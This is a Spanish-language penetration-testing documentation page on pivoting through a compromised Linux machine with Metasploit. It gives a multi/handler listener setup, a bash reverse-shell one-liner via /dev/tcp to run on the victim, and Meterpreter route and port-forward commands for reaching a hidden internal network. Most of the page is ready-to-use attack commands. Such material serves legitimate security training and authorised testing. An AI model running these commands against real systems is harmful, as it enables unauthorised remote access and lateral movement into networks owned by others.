> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/pivoting/linux.md).
# Linux
{% hint style="info" %}
El Pivoting solo se podrá hacer si el host tiene más de una interfaz de red (sin contar loopback)
{% endhint %}
Para hacer pivoting en entornos Linux, deberemos explotar la maquina que tiene acceso a ambas redes.
## Metasploit
Una vez tengamos una shell en dicha maquina, nos entablamos una reverse shell desde la maquina victima a la atacante:
```bash
msfconsole
use multi/handler
set LHOST 192.168.1.1
set LPORT 4242
set PAYLOAD linux/x86/meterpreter/reverse_tcp
run
```
Ahora desde la maquina victima, ejecutamos un comando como este:
```bash
/bin/bash -i >& /dev/tcp/192.168.1.1/4242 0>&1
```
Una vez recibimos la sesión de meterpreter, comprobamos que existan varias interfaces de red, en concreto, una de la red a la que tenemos visibilidad y otra que se conecte a la red que no podemos ver:
Ahora, y para redireccionar el trafico de la interfaz enp0s8 (interfaz conectada a la red que no tenemos visibilidad), podemos la sesión en segundo plano y usamos el siguiente comando:
```bash
route add IP-INTERFAZ-SECUNDARIA MASCARA-DE-RED ID-SESION
```
### Port Forwarding
En el port forwarding, lo que hacemos es pasarnos un puerto de la maquina victima a uno local nuestro, por ejemplo, imagina que la maquina victima, tiene el puerto 80 abierto, pues con la ayuda del port forwarding, podríamos pasarnos el puerto 80 de la victima a nuestro puerto 80 en localhost. Para ello, usamos el siguiente comando en metasploit:
```bash
portfwd add -l PUERTO-LOCAL -p PUERTO-VICTIMA -r IP-VICTIMA
```
